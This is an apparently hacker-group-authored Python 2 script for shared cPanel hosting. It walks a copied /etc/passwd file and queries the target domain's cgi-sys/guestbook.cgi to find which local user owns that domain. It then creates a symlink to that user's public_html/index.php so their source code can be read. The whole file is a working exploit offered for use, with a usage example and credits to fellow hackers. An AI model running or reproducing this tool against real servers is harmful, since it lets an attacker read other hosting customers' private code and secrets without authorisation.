#!/usr/bin/python #seek user for a domain and auto symlink index.php inside cpanel hosting environment #c0d3r: ev1lut10n #thanks to: x-hack.danzel,flyff666,petimati,ketek,romeo,tabun #this will works on path of users: /home/username/public_html #and all devilzc0de members #special thanks: merikenin for giving me inspiration #blog: http://myw1sd0m.blogspot.com #site : http://jasaplus.com #site : http://flightinformationdisplay.com #gopher: gopher://sdf.org/1/users/wisdomc0 #gopher: gopher://sdf.org/1/users/ev1lut10 import os import urllib import httplib import string import sys import random import time domain_target="hackers.com" passwd_file="passwd.txt" salah="Invalid" user="" if len(sys.argv) <=1: print "Usage: ./seekuser.py passwd_file targetdomain.com" print "Ex: ./seekuser.py /etc/passwd hackers.com" sys.exit(1) else: passwd_file = sys.argv[1] domain_target=sys.argv[2] try: fd = open(passwd_file) except: print "Sorry failed to open "+passwd_file sys.exit(1) content = fd.readline() while (content != ""): content.replace( "\n", "" ) content = fd.readline() content=content.strip() arkon=content.split(':') user=arkon[0] if user != "" : print "testing "+user+" on:"+ domain_target url="http://"+domain_target+"/cgi-sys/guestbook.cgi?user="+user response=urllib.urlopen(url) res = response.read() if salah not in res: print "[+] W00t found : " + user + " for domain : "+domain_target os.system ("echo "+user+" > username_of_"+domain_target) print "creating symlink for /home/"+user+"/public_html/index.php" print "on success you can read the source code on: index_of_"+domain_target+".txt" os.system("ln -s /home/"+user+"/public_html/index.php index_of_"+domain_target+".txt") fd.close sys.exit(1)